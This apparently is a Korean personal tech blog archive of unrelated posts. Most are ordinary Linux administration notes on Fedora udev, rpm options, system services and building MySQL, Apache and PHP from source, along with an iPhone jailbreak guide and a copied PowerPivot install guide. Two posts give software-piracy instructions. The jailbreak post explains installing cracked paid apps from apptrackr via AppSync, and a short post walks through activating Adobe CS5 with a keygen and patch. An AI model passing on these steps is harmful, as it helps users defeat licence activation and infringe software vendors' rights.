디바이스노드가 생성될 때마다 /etc/dev.d/default/pam_console.dev가 호출되어, 디바이스 노드의 파일명(선택적으로 심볼릭 링크도 같이)과 함께 /sbin/ pam_console_setowner를 호출한다. 이것은 /etc/security/console.perms에서 지정한대로 콘솔 사용자를 위한 허가를 설정한다.

휘도라에서 udev를 커스터마이징하기

udev와 udevinfo의 매뉴얼페이지를 읽어보자. RPM 패키지 파일을 수정하지 말자.

새 규칙

새 규칙은 /etc/udev/rules.d/에 .rules로 끝나는 파일에 있어야 한다. 50-udev.rules은 사용하지 마라. 지지받고 선호받는 방법은 “NAME” tag없이 규칙을 생성하고 “SYMLINK”만을 만드는 것이다.

규칙 작성법에 관한 좋은 문서는 http://www.reactivated.net/udevrules.php에서 찾을 수 있다.

허가

새 허가는 /etc/udev/permissions.d/에 .permissions로 끝나는 파일에 있어야 한다. 50-udev.permissions는 사용하지 말자.

그러나 자신의 디바이스 노드의 사용를 간절히 원한다면!

원하는 디바이스 노드를 /etc/udev/devices/에 놔두자. 그러면 /dev/에 복사될 것이다. 만일 기본 실행으로 처리 되야 한다고 생각되면, a bugzilla entry에 의견을 올리자.

/dev/없이 udev를 업데이트하기

아나콘다나 복구 CD없이 업그레이드하는 단계(추천하고 싶지 않다):

• kernel-2.6을 시작한다
• /sys/가 마운트된 것을 확인한다
• 최신 initscripts 패키지를 설치한다
• 최신 udev 패키지를 설치한다
• /sbin/start_udev를 실행한다
• 최신 mkinitrd 패키지를 설치한다
• 최신 kernel 패키지를 설치한다
• 혹은 기존 커널에 대해서 mkinitrd 를 실행한다

initrd 없는 udev

보통 때처럼 휘도라 코아를 설치하고 재부팅한다. 다음 명령을 실행한다

mkdir /tmp/dev
mount --move /dev /tmp/dev
sbin/MAKEDEV null console zero
mount --move /tmp/dev /dev

initrd 없이 커널을 설치하고 재부팅한다.

SELinux 오류가 발생하고 syslogd는 바라던 대로(as expected) 동작하지 않을 것이다.



휘도라에서의 현 문제

udev에 대하여 알려진 모든 버그
Nvidia

빠른 해결: 만일 rhgb가 필요치 않으면, 단지 /etc/rc.local에 nvidia 모듈을 적재한다.

만일 udev>=032-5이면, nvidia 모듈을 적재한다:

cp -a /dev/nvidia* /etc/udev/devices
chown root.root /etc/udev/devices/nvidia*

이 문제에 관련된 버그질라는 133900이다.

Palm Pilot

만일 udev >= 032-5이면, 다음 명령을 실행한다:

ln -s ttyUSB1 /etc/udev/devices/pilot
ISDN
만일 udev >= 032-5이면:

/sbin/MAKEDEV -d /etc/udev/devices isdn


Copyright © 2003-2004 Red Hat, Inc. All rights reserved.
The Fedora Project is not a supported product of Red Hat, Inc.
Legal | Trademark Guidelines
This page last modified at: 2004/11/08 16:28:47
2010/08/01 23:38 2010/08/01 23:38
acpid-커널이 전원을 관리
dep1000-고속연산을 위한 aep1000/aep2000 코프로세서드라이버
anacron-
apmd-배터리를 필요로 하는장치에 사용(랩탑)
atd-특정시간에 지정명령어실행,시스템부하가 적을시 배치명령실행
autofs- 파일시스템이용시 자동마운트,이용안할시 자동언마운트
bcm5820-하드웨어 암호의 엑셀레이터 제공
chargen-슈퍼데몬 내부의 서비스에 접속이 끊길때까지 문자를 생성한다
cpuspeed-동적 CPU speed 데몬 실행
crond- 리눅스용 스케쥴러 데몬입니다.
cups-공동유닉스 인쇄시스템을 위한 실행,종료스크립트
cups-lpd-cups의 통신에 있어서 물려받은 lpd프로토콜에서의 어플리케이션사용 허용여부
daytime-현제시스템시간을 Wed Nov 13 22:30:27 EST 2002와 같이 출력할때
dc client-Distcache is a Distributed SSL Session Cache Client Proxy
dc server-Distcache is a Distributed SSL Session Cache Server
dovecot-Dovecot Imap Server
echo-echo's characters back to clients
gpm- 마우스 드라이버 데몬 입니다.
httpd- Web 서버 데몬 입니다.
innd-유즈넷뉴스서버로 지역뉴스서버를 설정
iptables- 방화벽 설정 데몬 입니다.
irda-장치간의 적외선 통신 제공
irqbalanced-멀티프로세서체제에있어 CPU간의 인터럽트를 분리함
isdn-isdn
ktalk-talk서버의 KDE버젼
kudzu 새로운 하드웨어가 추가됐을 때 이를 검색해주는 데몬입니다.
lisa-끝난 사용자시스템을 실행시키는 데몬
mdmonitor-RAID모니터링 관리
mdmpd-멀티패스장치 모니터링
messagebus-시스템이벤트를 브로드캐스팅
micorcode ctl-스크립트를 CPU microcode에 적용
named - BIND 데몬 입니다 (Domain Name Server)
netdump-네트워크콘솔을 제외한 콘솔을 초기화
netfs- 넷트웍 파일 시스템 데몬 입니다.
netplugd-논스태틱네트워크인터페이스를 관리하는데몬
network- 리눅스의 네트웍 데몬 입니다. 이것의 체크를 지우시면 인터넷이 되지 않습니다.
nfs-nfs서ㅓ로 작동할수있게함(보안상문제있음)
nfslock-rpclockd와rpcstatd를 실행해줌,nfs를 사용하지않을시 보안상문제로 옵션을 끈다
ntpd-네트워크타임프로토콜로 컴퓨터클라이언트나 서버의 시간을 다른 서비스로 부터 동기화함
pcmcia-랩탑에서 이더넷이나모뎀을 제공하는데 사용
portmap-리모트프로시져콜에관여하는 데몬,NFS나NIS사용시 선택
postgresql-postgresql DB를 이용하고자할때 씀
psacct-프로세스 계산
random시스템 난수발생에 필요한 데몬입니다.-
rawdevices-raw장치할당스크립트,오라클어플리캐이션에서 사용
readahead-startup 을 하는동안 프로그램들을 메모리에 로드시킴
rhnsd-업데이트를 체크해줌
rpcgssd-NFSv4클라이언트를 위한RPCSEC GSS관리하는 사용자레벨데몬
rpcidmapd-NFSv4를 위한 유저레벨 데몬
rpcsvcgssd-NFSv4서버를 위한 RPCSEC GSS관리하는 사용자 레벨데몬
rsync-FTP서버인rsync서버
sendmail-메일 서버 데몬 입니다.
services-인터넷슈퍼데몬서비스
sgi fam-파일교환시 모니터링
smartd-자신을 모니터링하고 기술보고서 작성
smb-삼바서버의 활성화를 하게함
snmpd-단순한 네트워크 관리 프로토콜
snmptrapd-단순한네트워크관리 프로토콜트랩
squid-인터넷오브젝트캐시로 요청되는 인터넷 오브젝트 저장
sshd-ssh 서버
syslog-/var/log에 시스템 로그파일 기록
time -시간서버
time-udp
tux-커널 기반의 스레드http서버
vncserver-vnc서버
vsftpd -ftp데몬
xfs- x폰트 서버를 위한 데몬
xinetd-슈퍼데몬
yppasswdd-NIS클라이언트 사용자가 패스워드를 변경가능하게 해줌
ypserv -표준 NIS /YP 네트워크 프로토콜 서버
ypxfrd -yp맵의 전송을 가속시킴
yum -프로그램 업데이트 데몬
2010/08/01 23:38 2010/08/01 23:38

1. rpm 설치하기
1) 설치하기
-U 옵션 : 기존의 것을 삭제하고 업그레이드하며 아무 메시지도 보여주지 않습니다.
-Uv 옵션 : 기존의 것을 삭제하고 업그레이드하며 패키지 이름을 보여 줍니다.
-Uvh 옵션 : 기존의 것을 삭제하고 업그레이드하며 그 설치 진행과 과정 # 표시로 자세히 보여줍니다.
// **. 보통 (ivh 보다) -Uvh 옵션을 쓰면 됩니다.
// **. 설치할경우 패키지파일전체 이름을 주고, 삭제/조회는 rpm 버젼 번호까지만 주면 됩니다.
mrtg 패키지전체 이름 : mrtg-2.9.17.i386.rpm // **. i386 은 386 CPU 호환 버젼을 말합니다.
mrtg 패키지 버젼 : mrtg-2.9.17

예)
# rpm -U mrtg-2.9.17.i386.rpm
# rpm -Uv mrtg-2.9.17.i386.rpm
# rpm -Uvh mrtg-2.9.17.i386.rpm

부가 옵션들
--nodeps : 의존성관계에 있는 다른 패키지가 설치되어 있지 않다해도 강제 설치 합니다.
--force : 버전을 무시하고 강제로 설치 합니다. ( rpm 버전을 강제로 다운 그레이드 할때 사용합니다. )
예)
# rpm -Uvh mrtg-2.9.17.i386.rpm --nodeps

-- force --nodeps 사용시 다른 패키지에 문제가 없는가를 주의 해야 합니다.
# rpm -Uvh mrtg-2.9.17.i386.rpm --force --nodeps

2) -i 옵션 : 기존의 것을 삭제하고 처음 설치합니다.
예) # rpm -i mrtg-2.9.17.i386.rpm

=========================================================================================
2. rpm 지우기
-evv 옵션 : 아래와 같이 삭제를 하는 동안에 상세한 설명을 보여줍니다.
예)
# rpm -evv mrtg-2.9.17

부가 옵션들
--test : 실제로 삭제를 하지 않고 잘지워지는가 테스트만 해보는 옵션 입니다.
--nodeps : 의존성에 관여하지 않고 지우는 옵션입니다. // **. 의존성 있는 패키지가 안돌아 갈 수 있습니다. 주의를 요하는 옵션 입니다.
-- allmatches 옵션 : rpm 이 아래와 같이 중복으로 설치 되어 있을 경우 해결 방법
# rpm -qa | grep tux // **. 중복으로 설치 되었 습니다.
tux-2.1.0-2
tux-2.1.0-2

# rpm -e tux // **. 삭제가 안됩니다.
error: "tux" specifies multiple packages
# rpm -e tux --allmatches // **. --allmatches 옵션으로 지웁니다.

--noscript 옵션 : rpm 이 스크립트 에러 인하여 지워지지 않을 경우조 지웁니다.
# rpm -e canna --noscripts // **. --noscripts 옵션으로 지웁니다.


=========================================================================================
rpm 조회하기 부분은 옵션이 가장 많고, 가장 많이 사용 하는 부분 입니다.

3. rpm 조회하기
1) -qa 옵션 조회
-qa : 설치 되어 있는 모든 패키지를 알아 봅니다. // **. 좌악 올라 갑니다.
-qa | grep : 질의한 패키지가 설치 되어 있는지 알아본다 // **. 가장 많이 사용 합니다.
-qa | grep -i : 질의한 패키지를 찾을 때 대소문자를 구분하지 않고 물어 봅니다. // **. 대소문자 구별 안하고 찾아주므로 이 옵션 사용이 편합니다. 대부분 패키지는 소문자 이기는 하지만 가끔은 대문자가 있습니다.
-qa | wc -l : 현재 설치 되어 있는 총패키지 수

예 )
# rpm -qa // **. 시스템에 설치된 모든 패키지를 보여 줍니다.
# rpm -qa | grep canna // **.canna란 이름의 패키지가 설치 되어 있는지 알아 봅니다.
# rpm -qa | grep -i canna // **. 대 소문자를 구별하지 않고 알아 봅니다.
# rpm -qa | wc -l // **. 시스템에 설치된 총 패키지 수를 알아 봅니다. 보통 몇백 단위 입니다.

2) rpm에 대한 다른 조회
-qf : 화일로 패키지 알아내기. 설치 되어 있는 화일이 어느 패키지에 속해 있는지 알아봅니다.
-qi : 패키지 정보 알아보기. 패키지에 대한 설명을 보여줍니다.
-ql : 패키지 목록 알아 봅니다.
-qc : /etc/ 밑에 설치 되는 설정 화일만 알아 본니다.

예)
# rpm -qf /bin/ls // **. ls 란 명령어가 어느 패키지에 속해 있는지 알아 봅니다.
# rpm -qf $(which 특정프로그램이름) // **. 경로를 잘 모를 경우 사용 합니다.
ex) rpm -qf $(which ls)
# rpm -qi setup // **. setup 이란 패키지가 어떤 패키지 인가 알아 봅니다.
# rpm -ql setup
# rpm -qc setup

=========================================================================================
4. -q 의 부가 옵션들
1) -q --requires : 패키지가 필요한 모듈 (의존성)
예) # rpm -q --requires setup // **. dump 라는 패키지가 설치되기전에 먼저 설치가 선행되어야 하는 패키지들 입니다. 없으면 설치가 안됩니다.

2) -q --whatrequires : 의존성 걸린 패키지 알아내기
예) # rpm -q --whatrequires xmms // **. xmms에 의존하는 패키지를 보여 줍니다. 함부로 지우면 의존설 걸린 패키지들은 안돌가는 사태가 발생할 수 있습니다.

3) -q --whatprovides module-info : 모듈이 설치 되어 있는 패키지 알아 봅니다.
예) # rpm -q --whatprovides module-info

4) -q --scripts : 패키지가 설치 되기전 또는 설치 된후에 실행되는 스크립트를 알아 봅니다.
5) -q --queryformat : 패키지의 정보를 알아볼때 문자열을 출력해준다.

5. 기타 확장 옵션들
1) -qlv : 패키지 목록 자세한 정보를 알아 봅니다.
예 ) # rpm -qlv setup

2) -ql --dump : 패키지 덤프 화일을 봅니다.
3) -qcf : 화일과 관련된 설정 화일을 알아봅니다. .
4) -qdf : 패키지와 관련된 문서 화일을 보는 옵션 입니다. // **. 패키지 괸련한 문서는 대부분 /usr/share/doc 아래에 있습니다.
예) # rpm -qdf /sbin/dump

5) -qpil : 원하는 패키지로 부터 패키지 정보와 설치되는 곳의 정보를 알아 봅니다.
// **. qi옵션과 ql 옵션의 합침형 입니다.
예) # rpm -qpil mrtg-2.9.17.i386.rpm

6) --querytags : 문자열 출력시에 사용되는 태그 값을 알아 본다.
예) # rpm --querytags
HEADERIMAGE
HEADERSIGNATURES
HEADERIMMUTABLE
.
7) # rpm -qlp // **. RPM 으로 설치 안되었을때 검색 합니다

2010/08/01 23:37 2010/08/01 23:37
기본 언어 타입 정해주기

/usr/lib/perl5/5.6.1/cgi.pm 파일을 보면
아래와 같이 언어 타입을 지정해 놓은 부분이 있다.
$self->charset('iso-8859-1');

위 부분대신 아래와 같이 한글타입으로 변경해 주면 된다.
$self->charset('euc_kr');
2010/08/01 23:37 2010/08/01 23:37

DSO방식 APM, Zend, GD설치

새로운 시스템(노코나 방식, fedora core3(64bit))에 거의 소스로 설치함.

■ 설치환경 : Zeon 2.8, Fedora Core3 64bit
■ 사용프로그램
mysql-3.23.58
apache_1.3.33
php-4.3.11
mod_throttle-3.1.2
ZendOptimizer-2.5.7-linux-glibc23-amd64

gd-2.0.33
libpng-1.2.8
jpeg-6b
freetype-2.1.9

설치순서
1. mysql
2. apache(DSO 방식)
3. libpng, jpeg, freetype, 마지막에 gd
4. php, Zend
5. mod_throttle


1. mysql 소스로 설치

tar xvzf mysql-3.23.58.tar.gz
cd mysql-3.23.58

./configure --prefix=/usr/local/mysql --localstatedir=/usr/local/mysql/data --with-charset=euc_kr 엔터
make
make install

*** 여기서 초반에러를 방지하기 위해서 ****
adduser mysql <-- mysql이란 계정을 생성
passwd mysql <-- 엔터 하고 비밀번호 아무거나..
cd /home/
chmod 600 mysql <-- 권한 설정
cd /usr/local
chown -R mysql.mysql mysql <-- mysql의 하위 폴더까지 한번에 소유자와 그룹을 mysql로 변경
cd /usr/local/mysql/bin
./mysql_install_db <-- data 디렉토리(DB)를 생성, 반드시 한번만 실행
cd /usr/local/mysql
chown -R mysql.mysql data <-- 새로 생성된 data 디렉토리를 소유자와 그룹을 mysql로 변경
./safe_mysqld --language=korean & <-- mysql데몬을 백그라운드로 실행
cp /usr/local/mysql/share/mysql/mysql.server /etc/rc.d/init.d/mysqld <-- 컴 부팅시 mysqld 데몬 시작
chmod 755 /etc/rc.d/init.d/mysqld
chown mysql.mysql /etc/rc.d/init.d/mysqld <-- 데몬 소유자,그룹 변경
./mysqladmin -u root password 새로운비밀번호 <-- mysql 비밀번호를 생성

2. apache(DSO 방식) 소스로 설치
./configure --prefix=/usr/local/apache --enable-rule=SHARED_CORE --enable-module=so --enable-shared=max
make
make install;

3. libpng, jpeg, freetype, 마지막에 gd

- libpng 설치
tar -xvzf tar xvzf libpng-1.2.8.tar.gz
cd libpng-1.2.5
cp scripts/makefile.linux Makefile
make test
make install

- jpeg 설치
tar ?zxf jpegsrc.v6b.tar.gz
cd jpeg-6b
./configure --prefix=/usr
make
make test
make install

마지막 amke install 시에 에러가 발생할것입니다.
이때는 우선 make clean 하고,
cjpeg.1 파일이 들어갈 폴더를 만들어준 다음 다시

make -> make install

필히 참고)
이때 에러메시지 내용은 대략 아래와 같습니다.
/usr/bin/install: cannot create regular file `/usr/local/man/man1/cjpeg.1'
: 그런 파일이나 디렉토리가 없음
/usr/local/man/man1폴더가 없어서 찾지는 못하는 경우입니다.
이때는 /usr/local/man/man1폴더를 생성후에 다시 설치 해주시면 됩니다.


make install-lib
make install-headers

- freetype 설치
tar -xvzf freetype-2.1.3.tar.gz
cd freetype-2.1.3
./configure
make
make install

- GD 설치
tar xvzf gd-2.0.9.tar.gz
cd gd-2.0.9
./configure
make
make install


4. php, Zend 설치
./configure
--with-apxs=/usr/local/apache/bin/apxs
--with-config-file-path=/usr/local/lib
--with-gd=/usr/local
--with-jpeg-dir
--with-png-dir
--with-freetype-dir
--with-mysql=/usr/local/mysql
--with-zlib --with-zlib-dir=/usr/lib64/
--enable-track-vars
--enable-ftp
--with-language=korean --with-charset=euc_kr
--enable-magic-quotes --disable-debug --enable-gd-imgstrttf
--enable-mbstring=kr
make
make install

zend 설치
ZendOptimizer-2.5.7-linux-glibc23-amd64
./install

5. mod_throttle(http://www.snert.com/Software/mod_throttle)
tar xvfz mod_throttle312.tgz
cd mod_throttle

그리고 나서 설치를 하시면 됩니다.
# make install

그런데 여기서 잘 살펴보아야 할점을, 설치를 하는경우 apxs라는 파일을 사용하는데 그것은 아파치의 bin폴더에 있습니다.

보통 저 경로를 지정하지 않았을 경우, 에러가 나게 되지요
☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆☆
따라서, 압축을 푼 폴더로 이동을 하신후에
#PATH=$PATH:/usr/local/apache/bin
#export path
저 명령을 내리십시오.

2010/08/01 23:37 2010/08/01 23:37

JailbreakMe 탈옥 후,

시디아 소스추가
1.Cydia > Manage > Sources > Edit > Add
2.주소창에 http://www.sinfuliphonerepo.com을 입력하고서 Add를 클릭 / http://repo.beyouriphone.com주1 도 마찬가지로 추가
3.추가한 위의 source 의 repository(저장소)가 추가될 때까지 잠시 기다립니다.
4.설치가 끝났으면, Cydia의 Search 탭으로 들어가서 아래와 같은 목록의 시디아 어플을 찾아서 설치합니다.
추천할 만한 시디아 어플주2
1.biteSMS주3 - 필수 어플. 시디아 어플 하면 처음 생각나는 SMS 어플. 사생활보호를 위해 암호를 걸 수 있는 등 편리하게 SMS를 사용할 수 있게 해줍니다.
2.sbsettings - 말이 필요없는 필수 어플 (이하 [필] 표시). 설치 후 시계를 살짝 문지르면 창이 뜨면서, 3G, Wi-fi 및 Processes, 밝기 조정 등, 아이폰을 손쉽게 관리합니다.
3.appsync for os 4.x - [필] 해킹어플을 어떻게 아이폰에 설치하느냐고 물으신다면 몇 가지 방법이 있지만, 아이튠스와 Sync하는 방법이 제일 편합니다. 아이튠스의 응용프로그램에 해킹어플을 내려받아 드래그해서 놓으시면 됩니다. 그것을 가능케 해주는 어플임
4.makeitmine - [필] 통신사의 Show 대신에 자기가 원하는 이름을 넣을 수 있습니다.
5.silent camera theme - [필] 아이폰 탈옥하고 싶은 이유 중 하나 - 카메라의 찰칵 음을 무음 처리해줍니다. 테마이므로 Winterboard에서 활성화 시키면 됩니다.
6.PkgBackup - [필] 순정으로 돌아갔다가 언제고 다시 탈옥으로 돌아가도 예전에 설치된 시디아 어플을 다시 복원할 수 있습니다. 백업 후 아이튠스로 동기화시키면 됨.
7.nocyfresh - [필] 시디아에 접속할 때마다 뜨는 지루한 업데이트를 통과시킴.
8.cydelete - [필] 시디아 어플을 일반 어플처럼 간단히 삭제할 수 있게 해줌.
9.disable ios4.0 multitasking - iOS4.0의 어설픈 멀티태스킹을 중지시켜 줌.
10.backgrounder - 탈옥의 진정한 멀티태스킹을 가능케 해줍니다.
11.kirikae - backgrounder와 더불어 멀티태스킹에 필요한 어플
12.Safari Download Manager - 사파리 실행 시 내려받기를 쉽게 해줍니다. 한 번도 안 써봤지만 일단 설치.
13.Recent/CallLog Delete - 최근 통화 목록에서 원하는 것만 개별적으로 삭제 가능하게 해줍니다. - 사생활 보호

3.1.3에서 잘 썼으나 4.0 이상에서 에러 나는 시디아어플들
Springboard가 깨졌다고 safe mode로 진입하면 바로 직전에 까셨던 시디아어플을 다시 remove 하시길 바랍니다. 바로 직전에 무엇을 깔았는지 모르시면 safe mode가 풀릴 때까지 하나하나 삭제해 나가시길 바랍니다. iOS4.0 이상이 나온 지 얼마 안돼서 safe mode 에러가 많이 나는 것 같습니다.

1.iprotect - 개인보호관련... 메모장, 메시지, 특정 어플에 암호를 걸어줍니다. 그러나 enabled 하니 아이폰이 Springboard가 깨지면서 Safe mode 나옴;;
2.iblacklist - 전화번호의 블랙리스트, 화이트리스트를 관리해 줍니다. - safe mode나옴;;
3.infinidock - dock을 스크롤 할 수 있게 해줍니다. (iOS의 멀티태스킹바가 스크롤 되는 것처럼.) - safe mode나옴;;
4.QuickLock - 전원 버튼 대신에 springboard상에서 원터치 클릭하면 Lock이 걸립니다. - safe mode나옴;;
혹시 위의 어플을 설치해도 에러가 안 나면 그대로 잘 사용하시면 될 것 같습니다. 그새 판올림이 되어서 에러가 안 나거나, 아니면 제 아이폰에서만 그렇게 에러가 났었나 봅니다.;;

좋지만 유료라서 눈요기만 하는 것들
1.snapTap - 볼륨 키로 사진찍기 - 유료;;
2.infinifolders - 폴더당 12개 어플 제한을 무제한으로 만드는 어플 - 유료;;
맘에 드는 springboard / sbsetting 테마
* springboard 테마

iOS4 Complete - 아이폰 4의 상큼한 물방울무늬의 테마 - 추천
ios4 Transparent Slider - 슬라이더를 아이폰 4과 같이 투명하게 바꿔줌
* sbsettings 테마 - 아래 둘 중 택1

Macbook SBSettings Theme - sbsettings의 테마를 Mac처럼 꾸며줌.
Windows 7 SBS - 윈 7처럼 꾸며줌.
일단 위의 테마만 내려받으셔서 Winderboard에서 사용 체크해서 사용하시고 추후 Cydia나 구글링으로 검색해보셔서 맘에 드시는 것으로 바꾸시길 바랍니다.

해킹어플 설치주4
시디아 어플인 appsync for os 4.x 가 설치되어 있다고는 전제하에

1.컴퓨터에서 http://apptrackr.org/  에 접속하셔서 크랙된 원하는 어플을 내려받기합니다.
2.내려받은 어플주5을 아이튠스의 응용프로그램 목록에 드래그해서 집어넣습니다.
3.연결된 아이폰으로 동기화시켜주면 끝.
주의 : 해킹어플은 아이튠스 상에서 업데이트가 안되므로, 다시 http://apptrackr.org/  등에서 새 버전을 검색하여 내려받기하시면 됩니다. 일반 어플 업데이트 시에 아이튠스가 똑똑하게도 해킹어플은 업데이트 하려고 시도하지 않습니다.^^

개인적으로 탈옥을 별로 오래 사용하진 않았지만, 제 블로그의 특성상 가장 기본적인 설명만 드렸습니다. 그래도 처음 탈옥하시는 분에게 조금이라도 도움이 되었으면 좋겠습니다.

2010/08/01 22:16 2010/08/01 22:16
HWP 파일포맷이 드디어 공개적으로 오픈되었습니다.
http://www.hancom.co.kr/notice.noticeView.do?targetRow=1¬ice_seqno=33
사용자 삽입 이미지
2010/07/18 22:31 2010/07/18 22:31
사용방법: 키젠의 시디키로 마스터컬렉션 CS5를 설치해 준다.

CS5 실행.

도움말 (Help) 메뉴의 비활성화 (deactivat) 클릭 후에  serial key 값을 모두 삭제 해 준다.( 만약 안된다면, C:\Program Files\Common Files\adobe\Adobe PCD\Cache\Cache.db 파일을 삭제한다.)

키젠의 오른쪽 버튼을 눌러 패치를 실행 해 준다.

CS5 실행. 

CS5를 키젠의 왼쪽 버튼을 눌러 키를 생성하여 재 인증을 해준다.
2010/07/05 19:07 2010/07/05 19:07

이 항목에서는 정상 Windows Server 2008 컴퓨터에서 새 PowerPivot 서버를 설치하는 방법에 대해 설명합니다. 또한 SharePoint 2010 및 PowerPivot for SharePoint를 설치하는 과정을 단계별로 안내합니다. 이 과정을 마치고 나면 선택적 서버를 즉시 사용할 수 있습니다.

Ee210708.note(ko-kr,SQL.105).gif참고:
이 지침은 작업 그룹 또는 소규모 부서 서버 배포나 간단한 몇 가지 단계로 PowerPivot for SharePoint를 설치하려는 사람을 위한 것입니다. SharePoint를 이미 설치했거나 클라이언트와 서버 소프트웨어를 같은 컴퓨터에 설치할 경우에는 다른 지침을 사용해야 합니다. 자세한 내용은 방법: 기존 SharePoint 서버에 PowerPivot for SharePoint 설치방법: 단일 컴퓨터에서 PowerPivot 클라이언트 및 서버 소프트웨어 설치를 참조하십시오.

이 항목에는 다음과 같은 섹션이 있습니다.

사전 요구 사항

개요

1단계: SharePoint Server 2010 설치(미구성)

2단계: SQL Server 설치

3단계: 설치 확인

설치 후 단계

필수 구성 요소

컴퓨터가 SharePoint 2010 및 PowerPivot for SharePoint에 대한 하드웨어 및 소프트웨어 요구 사항을 충족하는지 확인합니다.

SQL Server 2008 R2 Enterprise, Evaluation, Developer 또는 Data Center 버전의 설치 미디어가 있어야 합니다.

SharePoint 2010의 설치 미디어가 있어야 합니다. 이 버전에는 Excel 서비스가 포함되어 있어야 합니다.

포트 80을 사용할 수 있어야 합니다. 다른 응용 프로그램에서 포트 80을 사용하는 경우 기존 팜 옵션을 사용하여 PowerPivot for SharePoint를 설치해야 합니다. 자세한 내용은 방법: 기존 SharePoint 서버에 PowerPivot for SharePoint 설치를 참조하십시오.

SQL Server 및 SharePoint 2010을 설치하려면 로컬 관리자여야 합니다. 계정 및 사용 권한 요구 사항에 대한 자세한 내용은 SharePoint 2010 제품 설명서의 SQL Server와 함께 단일 서버 배포(Deploy a single server with SQL Server)를 참조하십시오.

개요

SQL Server 설치 프로그램에는 PowerPivot for SharePoint를 설치한 후 즉시 사용할 수 있도록 해주는 새 서버 설치 옵션이 있습니다.

이 옵션을 사용하려면 SharePoint 2010을 설치했지만 아직 구성하지 않은 정상 서버를 시작해야 합니다. 이 항목의 1단계에서는 SharePoint를 구성되지 않은 상태로 설치하는 방법을 단계별로 안내합니다. 2단계에서는 SQL Server 설치 프로그램을 실행하고 새 서버 옵션을 선택하여 다음을 수행합니다.

  • SQL Server 데이터베이스 엔진 인스턴스를 설치하고 SharePoint에 대한 데이터베이스 서버로 구성합니다.
  • 1단계에서 설치한 SharePoint 서버를 구성하고 PowerPivot for SharePoint에 필요한 기능을 설정합니다.
  • PowerPivot for SharePoint를 설치하고 구성합니다.

새 서버 설치 옵션을 사용하면 모든 서버 제품이 기본값을 사용합니다. 구성되는 기능 및 속성에 대한 자세한 내용은 PowerPivot for SharePoint의 기본 구성을 참조하십시오.

1단계: SharePoint Server 2010 설치(미구성)

이 단계에서는 SharePoint 필수 구성 요소를 설치하고 서버 설정을 실행합니다.

이전에 SharePoint 서버를 설치해 본 적이 있다면 일반적으로 설치 직후 서버를 구성한다는 점을 알고 있을 것입니다. SQL Server 2008 R2 설치에서 새 서버 설치 옵션을 사용하는 것이 목표이므로 1단계에서 SharePoint 서버 구성을 건너뛰고 2단계에서 SQL Server 설치 프로그램이 구성 프로그램을 자동으로 실행하도록 허용해야 합니다. SQL Server 설치 프로그램이 SharePoint를 구성하도록 하면 SQL Server 2008 R2 릴리스의 데이터베이스 엔진 인스턴스를 데이터베이스 서버로 사용할 수 있습니다. 또한 SQL Server 설치 프로그램이 PowerPivot 쿼리 처리 및 서버 관리를 위한 최적의 설정을 사용하도록 SharePoint를 구성할 수 있습니다.

  1. 설치 미디어를 넣거나 SharePoint 2010 설치 파일이 들어 있는 폴더를 엽니다.
  2. 필수 구성 요소 설치 관리자를 실행하여 필수 운영 체제 역할, 기능 및 설치에 필요한 기타 소프트웨어를 추가합니다.
  3. SharePoint Server 설치 프로그램을 실행하여 서버 소프트웨어를 설치합니다.
  4. Microsoft 소프트웨어 사용권 계약에 동의하고 계속을 클릭합니다.
  5. 서버 팜을 클릭합니다. 독립 실행형 배포는 지원되지 않으므로 이 옵션을 선택해야 합니다. 서버 팜 옵션을 추가하면 관리 및 데이터 연결을 지원하는 클레임 인프라가 추가됩니다.
    SharePoint 설치 프로그램의 설치 유형 대화 ��자
  6. 서버 유형 페이지에서 전체를 선택합니다. 이 옵션을 선택하면 같은 서버의 웹 프런트 엔드 역할과 응용 프로그램 서버에 필요한 SharePoint 기능이 모두 추가됩니다.
    SharePoint 설치 프로그램의 서버 유형 대화 상자
  7. 지금 설치를 클릭합니다.
    설치가 끝나면 SharePoint 제품 및 기술 구성 마법사를 실행하라는 메시지가 표시됩니다.
    Ee210708.note(ko-kr,SQL.105).gif중요:
    지금은 서버를 구성하지 마십시오. 지금 구성 마법사를 실행하면 데이터베이스 서버가 아직 설치되어 있지 않으므로 오류가 발생합니다. 이후 단계에서 데이터베이스 서버를 설치한 후에 서버 구성을 수행합니다.
  8. SharePoint 제품 및 기술 구성 마법사 실행 옆의 확인란 선택을 취소하고 닫기를 클릭합니다.
    추가 구성에 대한 메시지를 표시하는 설치 페이지
2단계: SQL Server 구성 요소 설치 및 구성

이 단계에서는 SQL Server 2008 R2 설치 프로그램을 실행합니다. 설치 프로그램은 PowerPivot for SharePoint 및 데이터베이스 엔진 인스턴스를 모두 설치하고 구성합니다. 이 인스턴스는 SharePoint 서버의 데이터베이스 서버로 사용됩니다.

또한 설치 프로그램은 1단계에서 설치한 SharePoint 서버 소프트웨어를 구성합니다. 이렇게 하기 위해 SQL Server 설치 프로그램은 SharePoint 제품 및 기술 구성 프로그램(PSConfig.exe)을 백그라운드에서 실행하여 구성 데이터베이스를 만들고 PowerPivot 기능을 설정합니다. SharePoint는 SQL Server 설치 마법사에서 지정한 값을 사용하여 초기화됩니다.

  1. 설치 미디어를 넣거나 SQL Server 2008 R2 설치 파일이 들어 있는 폴더를 엽니다.
  2. Setup.exe를 마우스 오른쪽 단추로 클릭하고 관리자 권한으로 실행을 선택합니다.
  3. 왼쪽 탐색 창에서 설치를 클릭합니다.
  4. 새로 설치하거나 기존 설치에 기능을 추가합니다.를 클릭합니다.
  5. 설치 지원 규칙에서 확인을 클릭합니다.
  6. 제품 키에서 평가판 버전을 지정하거나 라이선스를 받은 Enterprise 버전의 제품 키를 입력하고 다음을 클릭합니다.
  7. Microsoft 소프트웨어 사용권 계약에 동의하고 다음을 클릭합니다.
  8. 설치 지원 파일 페이지에서 설치를 클릭합니다.
  9. 설치 지원 규칙 페이지에서 문제가 없으면 다음을 클릭합니다. 문제가 있는 경우에는 페이지의 지시에 따라 문제를 해결한 후에 설치 프로그램을 다시 시작합니다.
    Ee210708.note(ko-kr,SQL.105).gif참고:
    Windows 방화벽에서 포트를 여는 동안 발생하는 경고는 무시해도 됩니다. 외부 응용 프로그램에서 원격 연결을 통해 데이터베이스 엔진, 기본 모드 Analysis Services 인스턴스 또는 Reporting Services에 연결할 경우에만 포트를 열어야 합니다. 자세한 내용은 SQL Server 액세스를 허용하도록 Windows 방화벽 구성을 참조하십시오.
  10. 설치 역할에서 SQL Server PowerPivot for SharePoint를 선택합니다.
